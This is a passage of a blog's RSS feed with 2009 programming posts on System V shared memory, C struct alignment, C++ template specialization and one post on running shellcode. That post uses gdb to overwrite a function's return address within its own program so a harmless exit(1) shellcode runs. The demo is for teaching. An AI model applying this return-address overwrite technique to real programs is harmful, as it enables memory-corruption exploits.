&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/StupefyDeveloper/~4/5dNDthmCqow" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/StupefyDeveloper/~3/5dNDthmCqow/blog-prettify.html</link><author>noreply@blogger.com (Ni@m)</author><thr:total>0</thr:total><feedburner:origLink>http://stupefydeveloper.blogspot.com/2009/02/blog-prettify.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-3172846251286257570.post-1722401081736771304</guid><pubDate>Tue, 03 Feb 2009 10:03:00 +0000</pubDate><atom:updated>2009-02-03T12:03:00.958+02:00</atom:updated><title>*nix: XSI shared memory</title><description>When you work with POSIX shared memory objects you can get the size of the shared memory space assigned to key by opening with &lt;b&gt;shm_open&lt;/b&gt; routine and and checking &lt;b&gt;st_size&lt;/b&gt; field of &lt;b&gt;struct stat&lt;/b&gt; obtained from &lt;b&gt;fstat&lt;/b&gt; libc call. Then you use this value to map memory area into the userspace with mmap.&lt;br /&gt;
&lt;br /&gt;
With System V IPC model you are using &lt;b&gt;int shmget(key_t key, size_t size, int shmflg)&lt;/b&gt; routine to map the shared memory. For mapping already existing object you should call it with value of size exactly to the size of existing shared memory object. According to &lt;a href="http://linux.die.net/man/2/shmget"&gt;man pages&lt;/a&gt;you'll get EINVAL in case of size is less than the system-imposed minimum or greater than the system-imposed maximum. Also you are not allowed to specify size less than actual size of existing memory segment for the key.&lt;br /&gt;
In &lt;a href="http://www.opengroup.org/onlinepubs/009695399/functions/shmget.html"&gt;some manuals&lt;/a&gt; I saw remark for tuple of EINVAL and size:&lt;blockquote&gt;[EINVAL]&lt;br /&gt;
No shared memory segment is to be created and a shared memory segment exists for key but the size of the segment associated with it is less than size and size is not 0.&lt;/blockquote&gt;&lt;br /&gt;
In &lt;a href="http://groups.google.com/group/comp.programming.threads/browse_thread/thread/52ed4250dc1f4cb6?pli=1"&gt;comp.programming.threads&lt;/a&gt; there was a discussion regarding size argument for shmget. From the conversation I concluded that size is used _only_for_creation_ of the memory segment.&lt;br /&gt;
Walking through the sources of linux kernel I've found that if the key exists and other lags are ok, the kernel finally calls shm_more_checks:&lt;pre&gt;static inline int shm_more_checks(struct kern_ipc_perm *ipcp,
                                struct ipc_params *params)
{
        struct shmid_kernel *shp;

        shp = container_of(ipcp, struct shmid_kernel, shm_perm);
        if (shp-&gt;shm_segsz &lt; params-&gt;u.size)
                return -EINVAL;

        return 0;
}&lt;/pre&gt;&lt;b&gt;shm_more_checks&lt;/b&gt; indeed just checks if requested size is less or equal than the size of the shared object and if this conditions is satisfied this routine successfully returns.&lt;br /&gt;
&lt;br /&gt;
While we couldn't know the actual size of the shared memory segment we can do a trick and pass 0 as a size to &lt;b&gt;shmget&lt;/b&gt;. Later &lt;b&gt;shmctl&lt;/b&gt; could be used to check the actual size.&lt;br /&gt;
&lt;br /&gt;
I wrote sample dummy programs that proves the thesis above.&lt;br /&gt;
&lt;br /&gt;
Writer, creates shared memory object and writes &lt;b&gt;argv[1]&lt;/b&gt; into it&lt;pre&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;sys/types.h&amp;gt;
#include &amp;lt;sys/ipc.h&amp;gt;
#include &amp;lt;sys/shm.h&amp;gt;

#define SHM_KEY 0x0001b6e6

int main(int argc, char *argv[])
{
        if (argc &amp;lt; 2)
        {
                printf("usage: writer \"[data to write]\"\n");

                return 1;
        }

        int size = strlen(argv[1]);

        int shmid = shmget(SHM_KEY, size + 1, 0644 | IPC_CREAT);

        char *data = shmat(shmid, NULL, 0); 
        strncpy(data, argv[1], size);

        shmdt(data);

        fgetc(stdin);

        shmctl(shmid, IPC_RMID, NULL);

        return 0;
}&lt;/pre&gt;&lt;br /&gt;
Reader, gets the shared object, checks the size and copies data from the shared memory segment:&lt;pre&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;sys/types.h&amp;gt;
#include &amp;lt;sys/ipc.h&amp;gt;
#include &amp;lt;sys/shm.h&amp;gt;

#define SHM_KEY 0x0001b6e6

int main(int argc, char *argv[])
{
        int shmid = shmget(SHM_KEY, 0, 0644 | IPC_CREAT);

        struct shmid_ds ds; 
        shmctl(shmid, IPC_STAT, &amp;ds);
        printf("Size: \"%d\"\n", ds.shm_segsz);

        char *data = shmat(shmid, NULL, 0); 
        printf("Sata: \"%s\"\n", data);

        shmdt(data); 

        return 0;
}&lt;/pre&gt;&lt;br /&gt;
The output of these programs:&lt;pre&gt;$ ./writer "some text"

$ ipcs -m | awk '{if ($1 == "0x0001b6e6" || $1 == "key") {print $0}}'
key        shmid      owner      perms      bytes      nattch     status      
0x0001b6e6 11829291   niam      644        10         0

$ ./reader 
Size: "10"
Sata: "some text"&lt;/pre&gt;And for another input data for writer to insure that this works as expected:&lt;pre&gt;$ ./writer "some longer text"

$ ipcs -m | awk '{if ($1 == "0x0001b6e6" || $1 == "key") {print $0}}'
key        shmid      owner      perms      bytes      nattch     status      
0x0001b6e6 11862059   niam      644        17         0

$ ./reader 
Size: "17"
Sata: "some longer text"
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3172846251286257570-1722401081736771304?l=stupefydeveloper.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/StupefyDeveloper?a=AILg6ffq"&gt;&lt;img src="http://feeds.feedburner.com/~f/StupefyDeveloper?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/StupefyDeveloper?a=Fau8mLRM"&gt;&lt;img src="http://feeds.feedburner.com/~f/StupefyDeveloper?i=Fau8mLRM" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/StupefyDeveloper?a=MRajzN7M"&gt;&lt;img src="http://feeds.feedburner.com/~f/StupefyDeveloper?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/StupefyDeveloper?a=B4zPCgvM"&gt;&lt;img src="http://feeds.feedburner.com/~f/StupefyDeveloper?i=B4zPCgvM" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/StupefyDeveloper?a=IHb3WBUY"&gt;&lt;img src="http://feeds.feedburner.com/~f/StupefyDeveloper?d=52" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/StupefyDeveloper?a=dauWooqt"&gt;&lt;img src="http://feeds.feedburner.com/~f/StupefyDeveloper?d=42" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/StupefyDeveloper/~4/Nl0cXDL-atU" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/StupefyDeveloper/~3/Nl0cXDL-atU/nix-xsi-shared-memory.html</link><author>noreply@blogger.com (Ni@m)</author><thr:total>0</thr:total><feedburner:origLink>http://stupefydeveloper.blogspot.com/2009/02/nix-xsi-shared-memory.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-3172846251286257570.post-298160311994766677</guid><pubDate>Mon, 26 Jan 2009 23:34:00 +0000</pubDate><atom:updated>2009-01-27T01:34:00.401+02:00</atom:updated><title>c: alignment of structure</title><description>In this article I assume that the computer's word size is 4 bytes(IA32), because the main idea is the same for all architectures and I want to keep the article clean. You just have to adjust this article to your platform.&lt;br /&gt;
&lt;br /&gt;
So, what's with the size of the structure?&lt;br /&gt;
You should know that members of data structure(represented by &lt;b&gt;struct&lt;/b&gt; keyword in c) are aligned to the power of 2. Each element is stored in the closest(next) address with the appropriate alignment. The whole structure should be aligned as aligned its member with the longest alignment.&lt;br /&gt;
The type of each member of the structure usually has a default alignment(if you are not using &lt;b&gt;#pragma pack&lt;/b&gt; directive). It's 1 byte for char, 2 bytes for short, 4 bytes for int. You should check this table for your arch.&lt;br /&gt;
So the structure&lt;pre&gt;struct
{   
    char a;
    short b;
    int c;
} data;&lt;/pre&gt;should be 8 bytes long. How is it calculated? The structure has one char, one short and one int members. The alignment should look like&lt;pre&gt;+-----------------------------------+
|char| XX |  short |       int      |
+-----------------------------------+
0         2        4                8
&lt;/pre&gt;The &lt;b&gt;short&lt;/b&gt; member is stored on the distance of 2 bytes from the address of &lt;b&gt;char&lt;/b&gt; because the alignment of short is 2 bytes, the &lt;b&gt;int&lt;/b&gt; member is stored just after the &lt;b&gt;short&lt;/b&gt;, because the address from the beginning(in this case, or in general from the previously aligned members) is suitable for alignment of int.&lt;br /&gt;
But if you change the sequence of the members the whole picture could change, though the number of members and their sizes didn't change. The structure &lt;pre&gt;struct
{   
    char a;
    int c;
    short b;
} data;&lt;/pre&gt;on the same platform should be 12 bytes long. Why? Let's calculate.&lt;pre&gt;+---------------------------------------------+
|char| XX | XX | XX |       int      |  short |
+---------------------------------------------+
0         2        4                8         12
&lt;/pre&gt;That's because the address of integer member is adjusted to its alignment.&lt;br /&gt;
&lt;br /&gt;
Knowing these rules you can optimize the sizes of the structures just moving position of the members inside the structure. Let's add one &lt;b&gt;char&lt;/b&gt; in the end to the previously declared structure:&lt;pre&gt;struct
{   
    char a;
    short b;
    int c;
    char d;
} data;&lt;/pre&gt;The size of the structure is 12. It's easy to calculate. The size of the structure should be  as aligned its member with the longest alignment. In this case the longest alignment is 4. Sequence of &lt;b&gt;char&lt;/b&gt;, &lt;b&gt;short&lt;/b&gt;, &lt;b&gt;int&lt;/b&gt; is aligned to 8 bytes. Adding one char to the end you force compiler to align the structure to 12 bytes, it can't be 9 or anything else. If you look at the alignment of the original structure you could see unused byte that appeared because of the alignment. Let's move &lt;b&gt;d&lt;/b&gt; just after(or before, doesn't matter) the &lt;b&gt;a&lt;/b&gt; structure member:&lt;pre&gt;struct
{   
    char a;
    char d;
    short b;
    int c;
} data;&lt;/pre&gt;The size of this structure should be 8 bytes.&lt;pre&gt;+-----------------------------------+
|char|char|  short |       int      |
+-----------------------------------+
0         2        4                8
&lt;/pre&gt;If you deal with embed devices where you have significantly small amount of memory it's good optimization. 8 bytes vs. 12 bytes, or 1K vs. 1.5K in case of 128 copies of the structure. &lt;br /&gt;
&lt;br /&gt;
Another approach which is also platform and compiler dependent is to use &lt;b&gt;#pragma pack&lt;/b&gt; directive. In general structure&lt;pre&gt;struct
{   
    int c;
    short b;
} data;&lt;/pre&gt;should be 8 bytes long. But if you use &lt;b&gt;#pragma pack&lt;/b&gt; with alignment to 2 bytes you may force the whole structure will be aligned to 2 bytes.&lt;pre&gt;#pragma pack(push)
#pragma pack(2)

struct
{   
    int c;
    short b;
} data;

#pragma pack(pop)&lt;/pre&gt;This structure should be 6 bytes long.&lt;br /&gt;
&lt;br /&gt;
The alignment can cause troubles especially if the data is transmitted between different platforms where alignment or size of type may differ. If it's possible strings(sequences of bytes/chars) should be used. Their alignment should always be 1 byte long.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3172846251286257570-298160311994766677?l=stupefydeveloper.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/StupefyDeveloper?a=6cidkIY8"&gt;&lt;img src="http://feeds.feedburner.com/~f/StupefyDeveloper?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/StupefyDeveloper?a=T9Cc3qKv"&gt;&lt;img src="http://feeds.feedburner.com/~f/StupefyDeveloper?i=T9Cc3qKv" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/StupefyDeveloper?a=RfYwZPxT"&gt;&lt;img src="http://feeds.feedburner.com/~f/StupefyDeveloper?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/StupefyDeveloper?a=jv5fx0lA"&gt;&lt;img src="http://feeds.feedburner.com/~f/StupefyDeveloper?i=jv5fx0lA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/StupefyDeveloper?a=cFE0zspv"&gt;&lt;img src="http://feeds.feedburner.com/~f/StupefyDeveloper?d=52" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/StupefyDeveloper?a=l4d5ld8x"&gt;&lt;img src="http://feeds.feedburner.com/~f/StupefyDeveloper?d=42" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/StupefyDeveloper/~4/DA4xGkNrz_Y" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/StupefyDeveloper/~3/DA4xGkNrz_Y/c-alignment-of-structure.html</link><author>noreply@blogger.com (Ni@m)</author><thr:total>9</thr:total><feedburner:origLink>http://stupefydeveloper.blogspot.com/2009/01/c-alignment-of-structure.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-3172846251286257570.post-3380414682132273786</guid><pubDate>Tue, 20 Jan 2009 12:11:00 +0000</pubDate><atom:updated>2009-01-20T14:11:00.632+02:00</atom:updated><title>c: executing shellcode</title><description>In previous article I've described how to overwrite function's return point to execute some code.&lt;br /&gt;
I *nix world most of the code is being written in c. So most likely you will have to deal with stack overflows in c.&lt;br /&gt;
&lt;br /&gt;
The basics remain the same. You have to find the top of the stack of a function, calculate the address of the return point and write the beginning of your code into it.&lt;br /&gt;
Let's look at the code below.&lt;pre&gt;#include &amp;lt;stdio.h&amp;gt;

void function()
{
    int *p;
    printf("&amp;amp;p: %p\n", &amp;amp;p);
}

int main(int argc, char **argv)
{
    function();

    return 0;
}&lt;/pre&gt;The address of pointer &lt;b&gt;p&lt;/b&gt; should be the top of the stack of our function. The output should looks like&lt;pre&gt;&amp;amp;p: 0xbffdf594&lt;/pre&gt;The address might change between the program execution. Running this program in gdb, stopping in the beginning of the function and looking at address of &lt;b&gt;p&lt;/b&gt; and values of the register you can see that the difference between the &lt;b&gt;&amp;amp;p&lt;/b&gt; and &lt;b&gt;%esp&lt;/b&gt; is 4 bytes.&lt;pre&gt;(gdb) l
2 
3 void function()
4 {
5     int *p;
6     printf("&amp;amp;p: %p\n", &amp;amp;p);
7 }
8 
9 int main(int argc, char **argv)
10 {
11     function();
(gdb) b 5
Breakpoint 1 at 0x804838a: file so.c, line 5.
(gdb) r
Breakpoint 1, function () at so.c:6
6     printf("&amp;amp;p: %p\n", &amp;amp;p);
(gdb) i r
esp            0xbff2d490 0xbff2d490
ebp            0xbff2d4a8 0xbff2d4a8
...
(gdb) p &amp;amp;p
$1 = (int **) 0xbff2d4a4&lt;/pre&gt;Indeed, &lt;b&gt;&amp;amp;p&lt;/b&gt; is on the top of the stack. We should take into account that usually &lt;b&gt;%ebp&lt;/b&gt; is pushed onto the stack, so the difference between &lt;b&gt;&amp;amp;p&lt;/b&gt; and return point is 8 bytes.&lt;pre&gt;(gdb) disass
Dump of assembler code for function function:
0x08048384 &amp;lt;function+0&amp;gt;: push   %ebp
0x08048385 &amp;lt;function+1&amp;gt;: mov    %esp,%ebp
0x08048387 &amp;lt;function+3&amp;gt;: sub    $0x18,%esp
0x0804838a &amp;lt;function+6&amp;gt;: lea    -0x4(%ebp),%eax
0x0804838d &amp;lt;function+9&amp;gt;: mov    %eax,0x4(%esp)
0x08048391 &amp;lt;function+13&amp;gt;: movl   $0x80484a0,(%esp)
0x08048398 &amp;lt;function+20&amp;gt;: call   0x8048298 &amp;lt;printf@plt&amp;gt;
0x0804839d &amp;lt;function+25&amp;gt;: leave  
0x0804839e &amp;lt;function+26&amp;gt;: ret    &lt;/pre&gt;We are almost ready for the hack. Let's write some shellcode that would be executed instead of returning from &lt;b&gt;function&lt;/b&gt; to &lt;b&gt;main&lt;/b&gt;.&lt;br /&gt;
I'm not strong in writing shellcode and asm, so let it be simple code that will call &lt;b&gt;exit&lt;/b&gt; with exit code 1. The asm code is&lt;pre&gt;.text

.global main
main:
movl $1, %eax
movl $1, %ebx
int $0x80&lt;/pre&gt;Having compiled and linked code is not enough, we can't just put ELF binary as a shellcode. I used &lt;b&gt;objdump&lt;/b&gt; to extract disassembled code of &lt;b&gt;main&lt;/b&gt; and its representation in machine commands.&lt;pre&gt;$objdump -d shellcode
...
08048354 &amp;lt;main&amp;gt;:
 8048354: b8 01 00 00 00        mov    $0x1,%eax
 8048359: bb 01 00 00 00        mov    $0x1,%ebx
 804835e: cd 80                 int    $0x80
...&lt;/pre&gt;The code begins from address 8048354 and ends at 8048360. To use the instructions as a shellcode they should be put into an ascii zero-ended string where each code is prefixed with '\x'. The string with shellcode will be "\xb8\x01\x00\x00\x00\xbb\x01\x00\x00\x00\xcd\x80".&lt;br /&gt;
Let's integrate the shellcode into our program.&lt;pre&gt;#include &amp;lt;stdio.h&amp;gt;

char shellcode[] = "\xb8\x01\x00\x00\x00\xbb\x01\x00\x00\x00\xcd\x80";

void function()
{
    int *p; 
    printf("&amp;amp;p: %p\n", &amp;amp;p);
    p = (int *)&amp;amp;p + 2;
    *p = (int)shellcode;
}

int main(int argc, char **argv)
{
    function();

    return 0;
}&lt;/pre&gt;Here I assigned the address of &lt;b&gt;&amp;amp;p&lt;/b&gt; plus 8 bytes, which should be the return point, to the pointer. So &lt;b&gt;p&lt;/b&gt; now points exactly to the return point. Later I write the address of the shellcode to &lt;b&gt;*p&lt;/b&gt;, that is actually a return point.&lt;br /&gt;
If you execute this code and check the exit code you should see&lt;pre&gt;$./so
&amp;p: 0xbfd262e8
$echo $?
1&lt;/pre&gt;As expected the program exited with code 1. Let's walk through the execution process.&lt;br /&gt;
&lt;pre&gt;(gdb) l
6 {
7     int *p;
8     printf("&amp;amp;p: %p\n", &amp;amp;p);
9     p = (int *)&amp;amp;p + 2;
10     *p = (int)shellcode;
11 }
12 
13 int main(int argc, char **argv)
14 {
15     function();
(gdb) b 11
Breakpoint 1 at 0x80483b0: file so.c, line 11.
(gdb) r
&amp;amp;p: 0xbff2d4a4

Breakpoint 1, function () at so.c:11
11 }
(gdb) n
0x080495b8 in shellcode ()
(gdb) disass
Dump of assembler code for function shellcode:
0x080495b8 &amp;lt;shellcode+0&amp;gt;: mov    $0x1,%eax
0x080495bd &amp;lt;shellcode+5&amp;gt;: mov    $0x1,%ebx
0x080495c2 &amp;lt;shellcode+10&amp;gt;: int    $0x80
0x080495c4 &amp;lt;shellcode+12&amp;gt;: add    %al,(%eax)&lt;/pre&gt;Instead of returning to main the execution moved to the address 0x080495b8. Disassembled code of the shellcode is exactly the same as we have generated.&lt;br /&gt;
&lt;br /&gt;
Actually this shellcode won't work in the real world because it contains null-bytes. Mostly buffer overflow attacks are used against string functions from libc and they will cut this code.&lt;br /&gt;
&lt;br /&gt;
A lot of interesting shellcodes you may find at the &lt;a href="http://www.metasploit.com/"&gt;metasploit project site&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
Please note, I've suceeded with runnning this code with gcc-4.3.2 and linux-2.6.27.&lt;br /&gt;
With gcc-4.1.2, gcc-3.4.6 and linux-2.6.25 I didn't succeed to run the shellcode and ran into segfault with and without -fno-stack-protector gcc flag. I've also checked kernel.randomize_va_space system parameter but switching it to the different values didn't help. Unfortunately I don't know why this is not working. Actually it's failing on&lt;pre&gt;mov    $0x1,%eax&lt;/pre&gt;I have no idea why writing value to the register causes segfault. Most likely that's not a gcc 'issue' but kernel(or kernel configuration), because my kernel 2.6.27 is not secure at all because I'm sitting behind the firewall and some performance benefit by turning off security features is critical for me.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3172846251286257570-3380414682132273786?l=stupefydeveloper.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/StupefyDeveloper?a=l4Ro1vsR"&gt;&lt;img src="http://feeds.feedburner.com/~f/StupefyDeveloper?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/StupefyDeveloper?a=VnfB9KAc"&gt;&lt;img src="http://feeds.feedburner.com/~f/StupefyDeveloper?i=VnfB9KAc" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/StupefyDeveloper?a=kceCfCTH"&gt;&lt;img src="http://feeds.feedburner.com/~f/StupefyDeveloper?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/StupefyDeveloper?a=6LB6fzQw"&gt;&lt;img src="http://feeds.feedburner.com/~f/StupefyDeveloper?i=6LB6fzQw" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/StupefyDeveloper?a=8FoxqpDE"&gt;&lt;img src="http://feeds.feedburner.com/~f/StupefyDeveloper?d=52" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/StupefyDeveloper?a=tz4dsDkg"&gt;&lt;img src="http://feeds.feedburner.com/~f/StupefyDeveloper?d=42" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/StupefyDeveloper/~4/6nPA0IhUZQw" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/StupefyDeveloper/~3/6nPA0IhUZQw/c-executing-shellcode.html</link><author>noreply@blogger.com (Ni@m)</author><thr:total>12</thr:total><feedburner:origLink>http://stupefydeveloper.blogspot.com/2009/01/c-executing-shellcode.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-3172846251286257570.post-4378777523947156760</guid><pubDate>Tue, 13 Jan 2009 06:06:00 +0000</pubDate><atom:updated>2009-01-13T08:06:00.693+02:00</atom:updated><title>c++: partial template specialization of class methods</title><description>In c++ it's possible to specify class method of template class.&lt;br /&gt;
Before I thought it's only possible to specify the whole class and then redefine functions. It could be painful if template class contains a lot of methods. Of course the expected class could be built deriving from template class specifying the new type and redefining needed functions:&lt;pre&gt;template&amp;lt;typename T&amp;gt;
class B
{
    public:
        void operator ()()
        {  
            std::cout &amp;lt;&amp;lt; "B&amp;lt;" &amp;lt;&amp;lt; typeid(T).name() &amp;lt;&amp;lt; "&amp;gt;::operator ()" &amp;lt;&amp;lt; std::endl;
        }  
        void method()
        {  
            std::cout &amp;lt;&amp;lt; "B&amp;lt;" &amp;lt;&amp;lt; typeid(T).name() &amp;lt;&amp;lt; "&amp;gt;::method()" &amp;lt;&amp;lt; std::endl;
        }  
};

class C: public B&amp;lt;int&amp;gt;
{
    public:
        void operator ()()
        {  
            std::cout &amp;lt;&amp;lt; "C&amp;lt;long#pseudo class specialization&amp;gt;::operator () with deriving from B&amp;lt;int&amp;gt;" &amp;lt;&amp;lt; std::endl;
        }  
};
int main(int argc, char **argv)
{
    C()();
    C().method();
}&lt;/pre&gt;The output you expect should be&lt;pre&gt;C&amp;lt;long#pseudo class specialization&amp;gt;::operator () with deriving from B&amp;lt;int&amp;gt;
B&amp;lt;i&amp;gt;::method()
&lt;/pre&gt;We get the class &lt;b&gt;C&lt;/b&gt; which is the same as &lt;b&gt;B&amp;lt;int&amp;gt;&lt;/b&gt; but with custom &lt;b&gt;operator ()&lt;/b&gt;.&lt;br /&gt;
Unfortunately this code changes the name of the class and developer should keep in mind that class &lt;b&gt;C&lt;/b&gt; is &lt;b&gt;B&amp;lt;int&amp;gt;&lt;/b&gt; with custom functions. This is not explicit even if you find better name than &lt;b&gt;C&lt;/b&gt;.&lt;br /&gt;
&lt;br /&gt;
Another way, that is a c++ way, to specify methods of template class. Let's say we have class &lt;b&gt;A&lt;/b&gt; defined below:&lt;pre&gt;template&amp;lt;typename T0&amp;gt;
class A
{
    public:
        void operator ()()
        {
            std::cout &amp;lt;&amp;lt; "A&amp;lt;" &amp;lt;&amp;lt; typeid(T0).name() &amp;lt;&amp;lt; "&amp;gt;::operator ()" &amp;lt;&amp;lt; std::endl;
        }
        template&amp;lt;typename T1&amp;gt;
        void method()
        {
            std::cout &amp;lt;&amp;lt; "A&amp;lt;" &amp;lt;&amp;lt; typeid(T0).name() &amp;lt;&amp;lt; "&amp;gt;::method&amp;lt;" &amp;lt;&amp;lt; typeid(T1).name() &amp;lt;&amp;lt; "&amp;gt;()" &amp;lt;&amp;lt; std::endl;
        }
};&lt;/pre&gt;Here we can redefine both &lt;b&gt;operator ()&lt;/b&gt; and &lt;b&gt;method()&lt;/b&gt; class methods:&lt;pre&gt;template&amp;lt;&amp;gt;
void
A&amp;lt;float&amp;gt;::operator ()()
{
    std::cout &amp;lt;&amp;lt; "A&amp;lt;float#method specialization&amp;gt;::operator ()" &amp;lt;&amp;lt; std::endl;
}

template&amp;lt;&amp;gt;
template&amp;lt;&amp;gt;
void
A&amp;lt;float&amp;gt;::method&amp;lt;float&amp;gt;()
{
    std::cout &amp;lt;&amp;lt; "A&amp;lt;float#method specialization&amp;gt;::method&amp;lt;float#method specialization&amp;gt;()" &amp;lt;&amp;lt; std::endl;
}&lt;/pre&gt;&lt;b&gt;operator ()&lt;/b&gt; for &lt;b&gt;A&amp;lt;float&amp;gt;&lt;/b&gt; and &lt;b&gt;method&amp;lt;float&amp;gt;&lt;/b&gt; for &lt;b&gt;A&amp;lt;float&amp;gt;&lt;/b&gt; have been specified. What actually happen? There was created fully specified class &lt;b&gt;A&lt;/b&gt; for type float and both of its methods have been defined.&lt;br /&gt;
The output of&lt;pre&gt;int main(int argc, char **argv)
{
    A&amp;lt;int&amp;gt;()();
    A&amp;lt;float&amp;gt;()();
    A&amp;lt;float&amp;gt;().method&amp;lt;float&amp;gt;();

    return 0;
}&lt;/pre&gt;should be&lt;pre&gt;A&amp;lt;i&amp;gt;::operator ()
A&amp;lt;float#method specialization&amp;gt;::operator ()
A&amp;lt;float#method specialization&amp;gt;::method&amp;lt;float#method specialization&amp;gt;()&lt;/pre&gt;You can see that appropriate methods have been called.&lt;br /&gt;
&lt;br /&gt;
As I mentioned before, if you do a class specialization you have to redefine all methods:&lt;pre&gt;template&amp;lt;&amp;gt;
class A&amp;lt;double&amp;gt;
{
    public:
        void operator ()()
        {  
            std::cout &amp;lt;&amp;lt; "A&amp;lt;double#class specialization&amp;gt;::operator ()" &amp;lt;&amp;lt; std::endl;
        }  
        template&amp;lt;typename T1&amp;gt;
        void method()
        {  
            std::cout &amp;lt;&amp;lt; "A&amp;lt;double#class specialization&amp;gt;::method&amp;lt;" &amp;lt;&amp;lt; typeid(T1).name() &amp;lt;&amp;lt; "&amp;gt;()" &amp;lt;&amp;lt; std::endl;
        }  
};&lt;/pre&gt;Otherwise if you don't define &lt;b&gt;method&lt;/b&gt; for &lt;b&gt;A&amp;lt;double&amp;gt;&lt;/b&gt; and it's used somewhere in this context compiler will rise an error that no member &lt;b&gt;method&lt;/b&gt; was defined in class &lt;b&gt;A&amp;lt;double&amp;gt;&lt;/b&gt;. Class specialization should be used instead of class method specialization if the specialization changes the behavior of the most members of the class. Doing specialization you are defining new class with the same as template class but optimized for special case. Using the code above the next program&lt;pre&gt;int main(int argc, char **argv)
{
    A&amp;lt;double&amp;gt;()();
    A&amp;lt;double&amp;gt;().method&amp;lt;int&amp;gt;();

    return 0;
}&lt;/pre&gt;should produce&lt;pre&gt;A&amp;lt;double#class specialization&amp;gt;::operator ()
A&amp;lt;double#class specialization&amp;gt;::method&amp;lt;i&amp;gt;()&lt;/pre&gt;You see that methods from &lt;b&gt;A&amp;lt;double&amp;gt;&lt;/b&gt; have been called.&lt;br /&gt;
&lt;br /&gt;
And even in the case of template class specialization you still able to specify its template methods.&lt;pre&gt;template&amp;lt;&amp;gt;
void
A&amp;lt;double&amp;gt;::method&amp;lt;double&amp;gt;()
{
    std::cout &amp;lt;&amp;lt; "A&amp;lt;double#class specialization&amp;gt;::method&amp;lt;double#method specialization&amp;gt;()" &amp;lt;&amp;lt; std::endl;
}&lt;/pre&gt;The program&lt;pre&gt;int main(int argc, char **argv)
{
    A&amp;lt;double&amp;gt;().method&amp;lt;int&amp;gt;();
    A&amp;lt;double&amp;gt;().method&amp;lt;double&amp;gt;();

    return 0;
}&lt;/pre&gt;should show on stdout next messages&lt;pre&gt;A&amp;lt;double#class specialization&amp;gt;::method&amp;lt;i&amp;gt;()
A&amp;lt;double#class specialization&amp;gt;::method&amp;lt;double#method specialization&amp;gt;()&lt;/pre&gt;At first 'undefined' method of &lt;b&gt;A&amp;lt;double&amp;gt;&lt;/b&gt; was called and later specialized one.&lt;br /&gt;
&lt;br /&gt;
Template specialization is a powerful mechanism and should be used with comprehension.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3172846251286257570-4378777523947156760?l=stupefydeveloper.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
